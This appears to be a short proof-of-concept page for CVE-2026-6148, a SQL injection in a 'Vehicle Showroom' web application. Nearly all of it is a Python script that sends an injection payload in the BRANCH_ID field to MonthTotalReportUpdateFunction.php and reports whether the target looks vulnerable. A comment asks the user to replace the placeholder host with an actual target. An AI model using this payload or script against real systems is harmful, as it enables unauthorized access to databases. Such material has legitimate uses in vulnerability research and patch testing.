CVE-2026-6148 Vehicle Showroom SQL注入漏洞

import requests def check_sql_injection(url): target = f"{url}/util/MonthTotalReportUpdateFunction.php" # Payload testing for time-based blind injection or error-based payload = { "BRANCH_ID": "1' AND (SELECT SUBSTRING(@@version,1,1))='5' -- -" } try: response = requests.post(target, data=payload, timeout=5) if response.status_code == 200: print("[+] Potential SQL Injection vulnerability detected!") print(f"Response: {response.text[:100]}") else: print("[-] Target may not be vulnerable or offline.") except Exception as e: print(f"[Error] {e}") if __name__ == "__main__": target_url = "http://example.com" # Replace with actual target check_sql_injection(target_url)